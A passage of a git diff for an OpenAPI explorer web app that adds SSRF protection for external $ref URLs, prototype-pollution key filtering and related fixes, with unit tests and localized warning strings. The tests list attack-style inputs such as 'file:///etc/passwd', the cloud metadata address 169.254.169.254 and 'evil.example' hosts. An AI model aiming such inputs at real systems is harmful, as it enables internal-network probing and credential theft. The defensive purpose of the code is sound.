Number(schema.maximum) - 0.01 + if (min > max) max = min // exclusive bounds can invert the range return faker.number.float({ min, max, fractionDigits: 2 }) } @@ -58,11 +76,12 @@ function fakerForSchema(schema: SchemaObject): unknown { // String if (type === "string" || !type) { // 1. Pattern is the strongest constraint — always prefer it - if (schema.pattern) { + if (schema.pattern && isSafePattern(schema.pattern)) { try { const re = new RandExp(schema.pattern) - re.max = schema.maxLength ?? 20 - return re.gen() + re.max = Math.min(schema.maxLength ?? 20, QUANTIFIER_LIMIT) + const out = re.gen() + return schema.maxLength !== undefined ? out.slice(0, schema.maxLength) : out } catch { // Invalid pattern, fall through to format } @@ -72,7 +91,10 @@ function fakerForSchema(schema: SchemaObject): unknown { switch (fmt) { case "date-time": return faker.date.recent().toISOString() case "date": return faker.date.recent().toISOString().split("T")[0] - case "time": return faker.date.recent().toISOString().split("T")[1]!.replace("Z", "+00:00") + case "time": { + const timePart = faker.date.recent().toISOString().split("T")[1] + return timePart ? timePart.replace("Z", "+00:00") : "00:00:00+00:00" + } case "duration": return `P${faker.number.int({ min: 1, max: 30 })}D` case "email": case "idn-email": return faker.internet.email() @@ -211,45 +233,68 @@ export function generateWithVariant(rawSchema: SchemaObject, variantId: string): const schema = resolveEffectiveSchema(rawSchema) const minLen = schema.minLength ?? 1 const maxLen = schema.maxLength ?? Math.max(minLen, 20) + // Clamp so the random length is always >= min (minLength > 30 would otherwise + // make faker.number.int receive min > max and throw). + const alphaCap = Math.max(minLen, Math.min(maxLen, 30)) + const sliceCap = Math.max(maxLen, minLen) - switch (variantId) { - // Phone - case "phone-international": return faker.phone.number({ style: "international" }) - case "phone-e164": return randomE164() - case "phone-digits": return generateNationalForCountry("CN") - case "phone-cn": { - const n = faker.string.numeric(11) - return `${n.slice(0, 3)}-${n.slice(3, 7)}-${n.slice(7)}` + try { + switch (variantId) { + // Phone + case "phone-international": return faker.phone.number({ style: "international" }) + case "phone-e164": return randomE164() + case "phone-digits": return generateNationalForCountry("CN") + case "phone-cn": { + const n = faker.string.numeric(11) + return `${n.slice(0, 3)}-${n.slice(3, 7)}-${n.slice(7)}` + } + // DateTime + case "dt-recent": return faker.date.recent().toISOString() + case "dt-past": return faker.date.past().toISOString() + case "dt-future": return faker.date.future().toISOString() + case "dt-epoch": return String(Math.floor(faker.date.recent().getTime() / 1000)) + // Date + case "date-recent": return faker.date.recent().toISOString().split("T")[0] + case "date-past": return faker.date.past().toISOString().split("T")[0] + case "date-future": return faker.date.future().toISOString().split("T")[0] + // Email + case "email-random": return faker.internet.email() + case "email-example": return `user${faker.number.int({ min: 1, max: 999 })}@example.com` + // UUID + case "uuid-v4": return faker.string.uuid() + case "uuid-nil": return "00000000-0000-0000-0000-000000000000" + // String + case "str-alpha": return faker.string.alphanumeric(faker.number.int({ min: minLen, max: alphaCap })) + case "str-lorem": return faker.lorem.words(faker.number.int({ min: 1, max: 5 })).slice(0, sliceCap) + case "str-slug": return faker.lorem.slug(faker.number.int({ min: 1, max: 4 })).slice(0, sliceCap) + default: return generateExample(rawSchema) } - // DateTime - case "dt-recent": return faker.date.recent().toISOString() - case "dt-past": return faker.date.past().toISOString() - case "dt-future": return faker.date.future().toISOString() - case "dt-epoch": return String(Math.floor(faker.date.recent().getTime() / 1000)) - // Date - case "date-recent": return faker.date.recent().toISOString().split("T")[0] - case "date-past": return faker.date.past().toISOString().split("T")[0] - case "date-future": return faker.date.future().toISOString().split("T")[0] - // Email - case "email-random": return faker.internet.email() - case "email-example": return `user${faker.number.int({ min: 1, max: 999 })}@example.com` - // UUID - case "uuid-v4": return faker.string.uuid() - case "uuid-nil": return "00000000-0000-0000-0000-000000000000" - // String - case "str-alpha": return faker.string.alphanumeric(faker.number.int({ min: minLen, max: Math.min(maxLen, 30) })) - case "str-lorem": return faker.lorem.words(faker.number.int({ min: 1, max: 5 })).slice(0, maxLen) - case "str-slug": return faker.lorem.slug(faker.number.int({ min: 1, max: 4 })).slice(0, maxLen) - default: return generateExample(rawSchema) + } catch { + return generateExample(rawSchema) } } +// Replace residual $ref nodes (left by the parser's circular:"ignore") and any +// _circular/_unresolved-marked nodes with an empty schema, so openapi-sampler can +// still produce a partial example instead of throwing on the first $ref. +function pruneCircularRefs(schema: unknown, seen: WeakSet = new WeakSet()): unknown { + if (!schema || typeof schema !== "object") return schema + if (Array.isArray(schema)) return schema.map(s => pruneCircularRefs(s, seen)) + const obj = schema as Record + if (typeof obj.$ref === "string" || obj._circular || obj._unresolved) return {} + if (seen.has(schema)) return {} + seen.add(schema) + const out: Record = {} + for (const [k, v] of Object.entries(obj)) out[k] = pruneCircularRefs(v, seen) + return out +} + export function generateExample(schema: SchemaObject | null | undefined): unknown { if (!schema) return null - if (schema._circular || schema._unresolved) return null try { - const base = sample(schema as Record) - return randomizeLeaves(base, schema) + const pruned = pruneCircularRefs(schema) as SchemaObject + const base = sample(pruned as Record) + return randomizeLeaves(base, pruned) } catch { return null } diff --git a/src/lib/openapi/parser.ts b/src/lib/openapi/parser.ts index 7914797..52b865c 100644 --- a/src/lib/openapi/parser.ts +++ b/src/lib/openapi/parser.ts @@ -14,6 +14,7 @@ import type { SchemaObject, ServerObject, } from "./types" +import { isExternalRefAllowed, originOf } from "./url-guard" export const HTTP_METHODS = ["get", "post", "put", "patch", "delete", "head", "options"] as const export type HttpMethod = (typeof HTTP_METHODS)[number] @@ -21,15 +22,55 @@ export type HttpMethod = (typeof HTTP_METHODS)[number] const globalScope = globalThis as typeof globalThis & { Buffer?: typeof Buffer } globalScope.Buffer ??= Buffer -const PARSER_OPTIONS = { - dereference: { - circular: "ignore", - }, - resolve: { - external: true, - file: false, - }, -} satisfies ParserOptions +// Origins an untrusted spec is allowed to pull external $ref from: the app's own +// origin plus the origin the spec itself was loaded from. Everything else (other +// hosts, internal/private addresses, non-http schemes) is refused. +function computeAllowedOrigins(sourceUrl?: string): string[] { + const origins = new Set() + if (typeof location !== "undefined" && location.origin && location.origin !== "null") { + origins.add(location.origin) + } + if (sourceUrl) { + const o = originOf(sourceUrl) + if (o) origins.add(o) + } + return [...origins] +} + +// Build parser options whose http resolver vets every external $ref. Disallowed +// refs are degraded to an empty schema (no request issued) and recorded in +// `blocked`; the library's built-in unsafe-URL guard is a no-op in browsers, so +// this is the actual SSRF defense. +function buildParserOptions(allowedOrigins: string[], blocked: Set): ParserOptions { + // @readme's ParserOptions only types `http.timeout`, but it forwards the full + // resolve config to @apidevtools/json-schema-ref-parser, whose http resolver + // honors canRead/read. Extracted to a variable so the literal excess-property + // check doesn't reject the (runtime-valid) canRead/read fields. + const httpResolver: { timeout?: number; canRead: RegExp; read: (file: { url: string }) => Promise } = { + canRead: /^https?:\/\//i, + async read(file: { url: string }): Promise { + if (!isExternalRefAllowed(file.url, allowedOrigins)) { + blocked.add(file.url) + return "{}" + } + const res = await fetch(file.url) + if (!res.ok) { + throw new Error(`Failed to fetch external $ref ${file.url}: ${res.status}`) + } + return await res.text() + }, + } + return { + dereference: { + circular: "ignore", + }, + resolve: { + external: true, + file: false, + http: httpResolver, + }, + } satisfies ParserOptions +} type ParserInput = Parameters[0] @@ -88,25 +129,62 @@ export function sanitizeNonStandardExtensions(spec: OpenAPISpec): { spec: OpenAP return { spec: result, warnings } } -export async function parseValidatedSpec(input: string | OpenAPISpec): Promise<{ +// After dereferencing with circular:"ignore", circular references remain as +// literal { $ref } nodes. Tag them with _circular so format-schema / SchemaTree +// can render "[circular]" and example generation can prune them (the marker the +// types.ts comment always promised but nothing ever set). +function markCircularRefs(root: unknown): void { + const seen = new WeakSet() + const walk = (node: unknown): void => { + if (!node || typeof node !== "object" || seen.has(node)) return + seen.add(node) + if (Array.isArray(node)) { + node.forEach(walk) + return + } + const obj = node as Record + if (typeof obj.$ref === "string" && obj._circular === undefined) { + obj._circular = obj.$ref + } + for (const v of Object.values(obj)) walk(v) + } + walk(root) +} + +export async function parseValidatedSpec( + input: string | OpenAPISpec, + opts: { sourceUrl?: string } = {}, +): Promise<{ spec: OpenAPISpec sourceSpec: OpenAPISpec warnings: string[] }> { + const blocked = new Set() + const parserOptions = buildParserOptions(computeAllowedOrigins(opts.sourceUrl), blocked) + const parserInput = asParserInput(input) - const sourceSpec = await parseOpenAPIDocument(parserInput, PARSER_OPTIONS) as OpenAPISpec + const sourceSpec = await parseOpenAPIDocument(parserInput, parserOptions) as OpenAPISpec // Sanitize non-standard properties before validation const { spec: sanitizedSource, warnings } = sanitizeNonStandardExtensions(sourceSpec) const validationInput = asParserInput(cloneSpec(sanitizedSource)) - const validation = await validate(validationInput, PARSER_OPTIONS) + const validation = await validate(validationInput, parserOptions) if (!validation.valid) { throw new Error(formatValidationError(validation)) } const dereferenceInput = asParserInput(cloneSpec(sanitizedSource)) - const spec = await dereference(dereferenceInput, PARSER_OPTIONS) + const spec = await dereference(dereferenceInput, parserOptions) + markCircularRefs(spec) + + if (blocked.size > 0) { + const sample = [...blocked].slice(0, 5).join(", ") + warnings.push( + `Blocked ${blocked.size} external $ref pointer(s) targeting untrusted or internal URLs ` + + `(SSRF protection): ${sample}${blocked.size > 5 ? ", …" : ""}. These were replaced with empty schemas.`, + ) + } return { spec: spec as OpenAPISpec, diff --git a/src/lib/openapi/resolve-schema.ts b/src/lib/openapi/resolve-schema.ts index d9018ba..bfb72a6 100644 --- a/src/lib/openapi/resolve-schema.ts +++ b/src/lib/openapi/resolve-schema.ts @@ -1,5 +1,16 @@ import type { SchemaObject } from './types' +// Property names from untrusted specs must never be written as object keys +// directly, or `__proto__`/`constructor`/`prototype` would pollute the prototype. +const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']) + +function safeAssign(target: Record, source: Record): void { + for (const [k, v] of Object.entries(source)) { + if (DANGEROUS_KEYS.has(k)) continue + target[k] = v + } +} + export function resolveEffectiveSchema(schema: SchemaObject | undefined | null): SchemaObject & { _nullable: boolean } { if (!schema || typeof schema !== 'object') return { ...(schema || {}), _nullable: false } as SchemaObject & { _nullable: boolean }; let s: SchemaObject = schema; @@ -9,11 +20,12 @@ export function resolveEffectiveSchema(schema: SchemaObject | undefined | null): for (const part of s.allOf) { if (!part || typeof part !== 'object') continue; const { properties, required, ...rest } = part as SchemaObject & { required?: string[] }; - Object.assign(merged, rest); + safeAssign(merged, rest); if (properties) { const existing = merged.properties || {}; const combined: Record = { ...existing }; for (const [pk, pv] of Object.entries(properties)) { + if (DANGEROUS_KEYS.has(pk)) continue; if (existing[pk] && typeof existing[pk] === 'object' && typeof pv === 'object') { combined[pk] = { ...existing[pk], ...pv }; } else { @@ -32,6 +44,7 @@ export function resolveEffectiveSchema(schema: SchemaObject | undefined | null): const existing = merged.properties || {}; const combined: Record = { ...existing }; for (const [pk, pv] of Object.entries(v as Record)) { + if (DANGEROUS_KEYS.has(pk)) continue; if (existing[pk] && typeof existing[pk] === 'object' && typeof pv === 'object') { combined[pk] = { ...existing[pk], ...pv }; } else { @@ -42,6 +55,7 @@ export function resolveEffectiveSchema(schema: SchemaObject | undefined | null): } else if (k === 'required') { merged.required = [...((merged as { required?: string[] }).required || []), ...(v as string[])]; } else { + if (DANGEROUS_KEYS.has(k)) continue; merged[k] = v; } } diff --git a/src/lib/openapi/type-str.ts b/src/lib/openapi/type-str.ts index dbcddbe..0016e7c 100644 --- a/src/lib/openapi/type-str.ts +++ b/src/lib/openapi/type-str.ts @@ -12,15 +12,21 @@ export function getTypeStr(schema: SchemaObject | undefined): string { } if (schema.format) t += `(${schema.format})`; if (schema.const !== undefined) t += ` const: ${JSON.stringify(schema.const)}`; - if (schema.enum) t += ` enum: [${schema.enum.join(', ')}]`; + if (schema.enum) { + const rendered = schema.enum.map((v: unknown) => (v !== null && typeof v === 'object' ? JSON.stringify(v) : String(v))); + t += ` enum: [${rendered.join(', ')}]`; + } if (schema.default !== undefined) t += ` default: ${JSON.stringify(schema.default)}`; // OAS 3.0 nullable / Swagger 2.0 x-nullable if (schema.nullable || schema['x-nullable']) t += ' | null'; - if (schema.anyOf) { - const types = schema.anyOf.map(s => s.type).filter(Boolean); - if (types.includes('null')) { - const other = schema.anyOf.find(s => s.type !== 'null'); - if (other) return getTypeStr(other) + ' | null'; + // anyOf/oneOf nullable union: [SomeType, {type:"null"}] (also OAS 3.1 {type:["null"]}) + for (const key of ['anyOf', 'oneOf'] as const) { + const variants = schema[key]; + if (!variants) continue; + const isNull = (s: SchemaObject) => s.type === 'null' || (Array.isArray(s.type) && s.type.length === 1 && s.type[0] === 'null'); + const nonNull = variants.filter(s => !isNull(s)); + if (variants.some(isNull) && nonNull.length === 1) { + return getTypeStr(nonNull[0]) + ' | null'; } } return t; @@ -30,10 +36,12 @@ export function getConstraints(prop: SchemaObject): string { const p: string[] = []; if (prop.maxLength !== undefined) p.push(`maxLen: ${prop.maxLength}`); if (prop.minLength !== undefined) p.push(`minLen: ${prop.minLength}`); - if (prop.maximum !== undefined) p.push(`max: ${prop.maximum}`); - if (prop.minimum !== undefined) p.push(`min: ${prop.minimum}`); - if (prop.exclusiveMaximum !== undefined) p.push(`exclusiveMax: ${prop.exclusiveMaximum}`); - if (prop.exclusiveMinimum !== undefined) p.push(`exclusiveMin: ${prop.exclusiveMinimum}`); + // exclusiveMax/Min is a number in OAS 3.1 but a boolean flag on minimum/maximum + // in OAS 3.0; render the boolean form as a strict bound rather than "true". + if (prop.maximum !== undefined) p.push(prop.exclusiveMaximum === true ? `max: <${prop.maximum}` : `max: ${prop.maximum}`); + if (prop.minimum !== undefined) p.push(prop.exclusiveMinimum === true ? `min: >${prop.minimum}` : `min: ${prop.minimum}`); + if (typeof prop.exclusiveMaximum === "number") p.push(`exclusiveMax: ${prop.exclusiveMaximum}`); + if (typeof prop.exclusiveMinimum === "number") p.push(`exclusiveMin: ${prop.exclusiveMinimum}`); if (prop.pattern) p.push(`pattern: ${prop.pattern}`); if (prop.maxItems !== undefined) p.push(`maxItems: ${prop.maxItems}`); if (prop.minItems !== undefined) p.push(`minItems: ${prop.minItems}`); diff --git a/src/lib/openapi/types.ts b/src/lib/openapi/types.ts index 9bbb54d..8ec8f45 100644 --- a/src/lib/openapi/types.ts +++ b/src/lib/openapi/types.ts @@ -87,12 +87,16 @@ export interface Parameter { format?: string enum?: unknown[] default?: unknown + /** Present when this object is a Reference Object ({$ref}) in a non-dereferenced (source) spec. */ + $ref?: string } export interface RequestBody { required?: boolean description?: string content?: Record + /** Present when this object is a Reference Object ({$ref}) in a non-dereferenced (source) spec. */ + $ref?: string } export interface MediaTypeObject { @@ -125,8 +129,9 @@ export interface SchemaObject extends Record { additionalProperties?: boolean | SchemaObject minimum?: number maximum?: number - exclusiveMinimum?: number - exclusiveMaximum?: number + // boolean in OAS 3.0 / Swagger 2.0 (paired with minimum/maximum), number in OAS 3.1 + exclusiveMinimum?: number | boolean + exclusiveMaximum?: number | boolean multipleOf?: number minLength?: number maxLength?: number @@ -144,6 +149,8 @@ export interface ResponseObject { description?: string content?: Record schema?: SchemaObject + /** Present when this object is a Reference Object ({$ref}) in a non-dereferenced (source) spec. */ + $ref?: string } export interface OAuthFlowObject { diff --git a/src/lib/openapi/url-guard.test.ts b/src/lib/openapi/url-guard.test.ts new file mode 100644 index 0000000..5e3b1a5 --- /dev/null +++ b/src/lib/openapi/url-guard.test.ts @@ -0,0 +1,77 @@ +import { describe, expect, it } from "vitest" +import { isPrivateOrLocalHost, isHttpUrl, isExternalRefAllowed, isCrossHostTarget } from "@/lib/openapi/url-guard" + +describe("url-guard", () => { + describe("isPrivateOrLocalHost", () => { + it("flags loopback / private / link-local IPv4", () => { + for (const h of ["127.0.0.1", "10.1.2.3", "192.168.0.1", "172.16.5.5", "172.31.0.1", "169.254.1.1", "0.0.0.0", "100.64.0.1"]) { + expect(isPrivateOrLocalHost(h)).toBe(true) + } + }) + it("allows public IPv4", () => { + for (const h of ["8.8.8.8", "1.1.1.1", "172.32.0.1", "172.15.0.1", "93.184.216.34"]) { + expect(isPrivateOrLocalHost(h)).toBe(false) + } + }) + it("flags loopback / ULA / link-local IPv6 (with or without brackets)", () => { + for (const h of ["::1", "[::1]", "fc00::1", "fd12::3", "fe80::1", "[fe80::1]", "::ffff:127.0.0.1"]) { + expect(isPrivateOrLocalHost(h)).toBe(true) + } + }) + it("flags internal hostnames and bare single-label names", () => { + for (const h of ["localhost", "foo.localhost", "service.local", "db.internal", "intranet"]) { + expect(isPrivateOrLocalHost(h)).toBe(true) + } + }) + it("allows normal public hostnames", () => { + for (const h of ["example.com", "api.example.com", "petstore.swagger.io"]) { + expect(isPrivateOrLocalHost(h)).toBe(false) + } + }) + }) + + describe("isHttpUrl", () => { + it("accepts http(s)", () => { + expect(isHttpUrl("https://example.com/openapi.json")).toBe(true) + expect(isHttpUrl("http://example.com")).toBe(true) + }) + it("rejects dangerous and malformed schemes", () => { + for (const u of ["javascript:alert(1)", "file:///etc/passwd", "data:text/html,x", "ftp://x", "not a url"]) { + expect(isHttpUrl(u)).toBe(false) + } + }) + }) + + describe("isExternalRefAllowed", () => { + const allowed = ["https://api.example.com"] + it("allows same-origin public refs", () => { + expect(isExternalRefAllowed("https://api.example.com/models.json", allowed)).toBe(true) + }) + it("blocks cross-origin refs", () => { + expect(isExternalRefAllowed("https://evil.example/x.json", allowed)).toBe(false) + }) + it("blocks internal targets even if origin would match scheme", () => { + expect(isExternalRefAllowed("http://127.0.0.1/x.json", ["http://127.0.0.1"])).toBe(false) + expect(isExternalRefAllowed("http://169.254.169.254/latest/meta-data", allowed)).toBe(false) + }) + it("blocks non-http schemes", () => { + expect(isExternalRefAllowed("file:///etc/passwd", allowed)).toBe(false) + }) + }) + + describe("isCrossHostTarget", () => { + const trusted = ["https://api.example.com"] + it("treats relative/unparseable targets as same-origin", () => { + expect(isCrossHostTarget("/oauth/token", trusted)).toBe(false) + }) + it("flags a different host", () => { + expect(isCrossHostTarget("https://evil.example/token", trusted)).toBe(true) + }) + it("allows a trusted host", () => { + expect(isCrossHostTarget("https://api.example.com/token", trusted)).toBe(false) + }) + it("never flags when there is no trust set", () => { + expect(isCrossHostTarget("https://anything.example", [])).toBe(false) + }) + }) +}) diff --git a/src/lib/openapi/url-guard.ts b/src/lib/openapi/url-guard.ts new file mode 100644 index 0000000..49fd0d6 --- /dev/null +++ b/src/lib/openapi/url-guard.ts @@ -0,0 +1,98 @@ +// Guards for untrusted URLs reachable from spec content / share links. +// apilot loads arbitrary third-party specs; their external $ref pointers and +// server URLs must be treated as untrusted to prevent SSRF / internal-network +// probing from the victim's browser. The library's own safeUrlResolver is a +// no-op in the browser, so we enforce these checks ourselves. + +/** + * True if the hostname points at a loopback, link-local, private, or otherwise + * internal target that an untrusted spec must not be able to reach. + */ +export function isPrivateOrLocalHost(hostname: string): boolean { + let h = hostname.toLowerCase().trim() + // Strip IPv6 brackets that URL.hostname keeps (e.g. "[::1]"). + if (h.startsWith("[") && h.endsWith("]")) h = h.slice(1, -1) + if (!h) return true + + // Hostname-based internal suffixes. + if (h === "localhost" || h.endsWith(".localhost")) return true + if (h.endsWith(".local") || h.endsWith(".internal") || h.endsWith(".home.arpa")) return true + + // IPv4 literal. + const ipv4 = h.match(/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) + if (ipv4) { + const a = Number(ipv4[1]) + const b = Number(ipv4[2]) + if (a === 0 || a === 127 || a === 10) return true + if (a === 169 && b === 254) return true // link-local + if (a === 192 && b === 168) return true + if (a === 172 && b >= 16 && b <= 31) return true + if (a === 100 && b >= 64 && b <= 127) return true // CGNAT 100.64.0.0/10 + return false + } + + // IPv6 literal. + if (h.includes(":")) { + if (h === "::1" || h === "::") return true + if (h.startsWith("fc") || h.startsWith("fd")) return true // unique-local fc00::/7 + if (h.startsWith("fe8") || h.startsWith("fe9") || h.startsWith("fea") || h.startsWith("feb")) return true // link-local fe80::/10 + const mapped = h.match(/::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i) + if (mapped) return isPrivateOrLocalHost(mapped[1]!) + return false + } + + // Bare single-label hostname (no dot) — likely an intranet name. + if (!h.includes(".")) return true + + return false +} + +/** True if the URL is a well-formed http(s) URL (rejects javascript:/file:/data: etc.). */ +export function isHttpUrl(url: string): boolean { + try { + const u = new URL(url) + return u.protocol === "http:" || u.protocol === "https:" + } catch { + return false + } +} + +/** + * Whether an external $ref URL embedded in an untrusted spec may be fetched. + * Allowed only when it is http(s), not pointing at an internal host, and its + * origin is in the trusted set (the spec's own source origin + the app origin). + */ +export function isExternalRefAllowed(refUrl: string, allowedOrigins: readonly string[]): boolean { + let u: URL + try { + u = new URL(refUrl) + } catch { + return false + } + if (u.protocol !== "http:" && u.protocol !== "https:") return false + if (isPrivateOrLocalHost(u.hostname)) return false + return allowedOrigins.includes(u.origin) +} + +/** Origin of a URL, or null if it cannot be parsed. */ +export function originOf(url: string): string | null { + try { + return new URL(url).origin + } catch { + return null + } +} + +/** + * Whether sending credentials to `targetUrl` crosses out of the trusted origin + * set (the spec's declared servers / the origin the user confirmed). Used to + * warn before auth headers or OAuth2 passwords are sent to an attacker host. + * A target that cannot be resolved to an absolute origin (e.g. a relative path) + * is treated as same-origin (not cross-host). + */ +export function isCrossHostTarget(targetUrl: string, trustedOrigins: readonly string[]): boolean { + const origin = originOf(targetUrl) + if (!origin) return false + if (trustedOrigins.length === 0) return false + return !trustedOrigins.includes(origin) +} diff --git a/src/locales/en.ts b/src/locales/en.ts index a151087..cabe5f7 100644 --- a/src/locales/en.ts +++ b/src/locales/en.ts @@ -51,6 +51,7 @@ export default { login: "Login", authenticated: "Authenticated", detectedFromSpec: "Auto-detected from API spec", + plaintextWarning: "Credentials are stored unencrypted in this browser (IndexedDB) and can be read by any script running on this origin.", oauth2FlowNotSupported: "{{flow}} flow is not supported for auto-login, please paste a token manually", }, toolbar: { @@ -397,6 +398,7 @@ export default { graphExportFailed: "Graph export failed", shareCopied: "Share link copied", shareCopyFailed: "Could not copy share link", + credentialCrossHost: "Sending credentials to {{host}} — this host is not declared in the spec's servers", nonStandardProperties: "Document contains non-standard properties (e.g. itemSchema) not part of the OpenAPI spec. Auto-converted for compatibility.", }, validation: { @@ -406,6 +408,8 @@ export default { formRequired: 'Form field "{{name}}" is required', enterCredentials: "Please enter username and password", tokenUrlEmpty: "Token URL is empty", + tokenUrlInvalid: "Token URL is invalid", + tokenUrlInsecure: "Token URL must use HTTPS to send credentials securely", noAccessToken: "No access_token in response", fileReadFailed: "File read failed", }, @@ -623,6 +627,7 @@ export default { updateFailed: "Update failed: {{status}}", running: "Running...", execute: "Execute", + load: "Load", ok: "Success", requestFailed: "Request failed", tokenApplied: "Authenticated — token applied to the current environment", diff --git a/src/locales/ja.ts b/src/locales/ja.ts index 60fa4d2..97b029c 100644 --- a/src/locales/ja.ts +++ b/src/locales/ja.ts @@ -51,6 +51,7 @@ export default { login: "ログイン", authenticated: "認証済み", detectedFromSpec: "API 仕様から自動検出", + plaintextWarning: "認証情報はこのブラウザ(IndexedDB)に暗号化されずに保存され、このオリジンで実行される任意のスクリプトから読み取れます。", oauth2FlowNotSupported: "{{flow}} フローの自動ログインには対応していません。トークンを手動で貼り付けてください", }, toolbar: { @@ -397,6 +398,7 @@ export default { graphExportFailed: "グラフのエクスポートに失敗しました", shareCopied: "Share link copied", shareCopyFailed: "Could not copy share link", + credentialCrossHost: "{{host}} に認証情報を送信しています — このホストは spec のサーバーに宣言されていません", nonStandardProperties: "ドキュメントに OpenAPI 仕様外の非標準プロパティ(例: itemSchema)が含まれています。互換性のため自動変換しました。", }, validation: { @@ -406,6 +408,8 @@ export default { formRequired: 'フォームフィールド "{{name}}" は必須です', enterCredentials: "ユーザー名とパスワードを入力してください", tokenUrlEmpty: "Token URL が空です", + tokenUrlInvalid: "Token URL が無効です", + tokenUrlInsecure: "認証情報を安全に送信するには Token URL が HTTPS である必要があります", noAccessToken: "レスポンスに access_token がありません", fileReadFailed: "ファイルの読み取りに失敗しました", }, @@ -623,6 +627,7 @@ export default { updateFailed: "更新失敗:{{status}}", running: "実行中...", execute: "実行", + load: "読み込み", ok: "成功", requestFailed: "リクエストが失敗しました", tokenApplied: "認証済み — トークンが現在の環境に適用されました", diff --git a/src/locales/ko.ts b/src/locales/ko.ts index bffe88c..3819823 100644 --- a/src/locales/ko.ts +++ b/src/locales/ko.ts @@ -51,6 +51,7 @@ export default { login: "로그인", authenticated: "인증됨", detectedFromSpec: "API 사양에서 자동 감지됨", + plaintextWarning: "자격 증명은 이 브라우저(IndexedDB)에 암호화되지 않은 상태로 저장되며 이 출처에서 실행되는 모든 스크립트가 읽을 수 있습니다.", oauth2FlowNotSupported: "{{flow}} 플로우는 자동 로그인을 지원하지 않습니다. 토큰을 직접 붙여넣어 주세요", }, toolbar: { @@ -397,6 +398,7 @@ export default { graphExportFailed: "그래프 내보내기 실패", shareCopied: "Share link copied", shareCopyFailed: "Could not copy share link", + credentialCrossHost: "{{host}}(으)로 자격 증명을 전송 중 — 이 호스트는 spec의 서버 목록에 없습니다", nonStandardProperties: "문서에 OpenAPI 사양에 포���되지 않는 비표준 속성(예: itemSchema)이 포함되어 있습니다. 호환성을 ���해 자동 변환되었습니다.", }, validation: { @@ -406,6 +408,8 @@ export default { formRequired: '폼 필드 "{{name}}"은(는) 필수입니다', enterCredentials: "사용자 이름과 비밀번호를 입력하세요", tokenUrlEmpty: "Token URL이 비어있습니다", + tokenUrlInvalid: "Token URL이 유효하지 않습니다", + tokenUrlInsecure: "자격 증명을 안전하게 전송하려면 Token URL이 HTTPS여야 합니다", noAccessToken: "응답에 access_token이 없습니다", fileReadFailed: "파일 읽기 실패", }, @@ -623,6 +627,7 @@ export default { updateFailed: "업데이트 실패: {{status}}", running: "실행 중...", execute: "실행", + load: "불러오기", ok: "성공", requestFailed: "요청 실패", tokenApplied: "인증됨 — 토큰이 현재 환경에 적용되었습니다", diff --git a/src/locales/zh_CN.ts b/src/locales/zh_CN.ts index 91b3e7b..e37221c 100644 --- a/src/locales/zh_CN.ts +++ b/src/locales/zh_CN.ts @@ -51,6 +51,7 @@ export default { login: "登录", authenticated: "已认证", detectedFromSpec: "已从 API 规范中自动检测", + plaintextWarning: "凭证以未加密形式存储在本浏览器(IndexedDB)中,本源下运行的任意脚本均可读取。", oauth2FlowNotSupported: "{{flow}} 流程暂不支持自动登录,请手动粘贴 Token", }, toolbar: { @@ -397,6 +398,7 @@ export default { graphExportFailed: "图谱导出失败", shareCopied: "分享链接已复制", shareCopyFailed: "分享链接复制失败", + credentialCrossHost: "正在向 {{host}} 发送凭证 —— 该主机不在 spec 声明的服务器列表中", nonStandardProperties: "文档包含不符合 OpenAPI 规范的非标准属性(如 itemSchema),已自动转换以兼容。", }, validation: { @@ -406,6 +408,8 @@ export default { formRequired: '表单字段 "{{name}}" 为必填项', enterCredentials: "请输入用户名和密码", tokenUrlEmpty: "Token URL 为空", + tokenUrlInvalid: "Token URL 无效", + tokenUrlInsecure: "Token URL 必须使用 HTTPS 以安全传输凭证", noAccessToken: "响应中无 access_token", fileReadFailed: "文件读取失败", }, @@ -624,6 +628,7 @@ export default { updateFailed: "更新失败:{{status}}", running: "执行中...", execute: "执行", + load: "加载", ok: "成功", requestFailed: "请求失败", tokenApplied: "已认证 — Token 已应用到当前环境", diff --git a/src/locales/zh_HK.ts b/src/locales/zh_HK.ts index 70d74d3..e4e58ac 100644 --- a/src/locales/zh_HK.ts +++ b/src/locales/zh_HK.ts @@ -51,6 +51,7 @@ export default { login: "登錄", authenticated: "已認證", detectedFromSpec: "已從 API 規範中自動偵測", + plaintextWarning: "憑證以未加密形式儲存喺本瀏覽器(IndexedDB)入面,本源下執行嘅任意指令碼都讀取到。", oauth2FlowNotSupported: "{{flow}} 流程暫唔支持自動登錄,請手動貼上 Token", }, toolbar: { @@ -397,6 +398,7 @@ export default { graphExportFailed: "圖譜導出失敗", shareCopied: "分享鏈接已複製", shareCopyFailed: "分享鏈接複製失敗", + credentialCrossHost: "正在向 {{host}} 傳送憑證 —— 該主機唔喺 spec 宣告嘅伺服器清單入面", nonStandardProperties: "文檔包含不符合 OpenAPI 規範嘅非標準屬性(如 itemSchema),已自動轉換以兼容。", }, validation: { @@ -406,6 +408,8 @@ export default { formRequired: '表單字段 "{{name}}" 為必填項', enterCredentials: "請輸入用户名和密碼", tokenUrlEmpty: "Token URL 為空", + tokenUrlInvalid: "Token URL 無效", + tokenUrlInsecure: "Token URL 必須使用 HTTPS 以安全傳輸憑證", noAccessToken: "響應中無 access_token", fileReadFailed: "文件讀取失敗", }, @@ -624,6 +628,7 @@ export default { updateFailed: "更新失敗:{{status}}", running: "執行中...", execute: "執行", + load: "載入", ok: "成功", requestFailed: "請求失敗", tokenApplied: "已驗證 — Token 已應用到當前環境", diff --git a/src/locales/zh_TW.ts b/src/locales/zh_TW.ts index 1a06022..2f4523e 100644 --- a/src/locales/zh_TW.ts +++ b/src/locales/zh_TW.ts @@ -51,6 +51,7 @@ export default { login: "登入", authenticated: "已認證", detectedFromSpec: "已從 API 規範中自動偵測", + plaintextWarning: "憑證以未加密形式儲存在本瀏覽器(IndexedDB)中,本源下執行的任意指令碼均可讀取。", oauth2FlowNotSupported: "{{flow}} 流程暫不支援自動登入,請手動貼上 Token", }, toolbar: { @@ -397,6 +398,7 @@ export default { graphExportFailed: "圖譜匯出失敗", shareCopied: "分享連結已複製", shareCopyFailed: "分享連結複製失敗", + credentialCrossHost: "正在向 {{host}} 傳送憑證 —— 該主機不在 spec 宣告的伺服器清單中", nonStandardProperties: "文件包含不符合 OpenAPI 規範的非標準屬性(如 itemSchema),已自動轉換以相容。", }, validation: { @@ -406,6 +408,8 @@ export default { formRequired: '表單欄位 "{{name}}" 為必填項', enterCredentials: 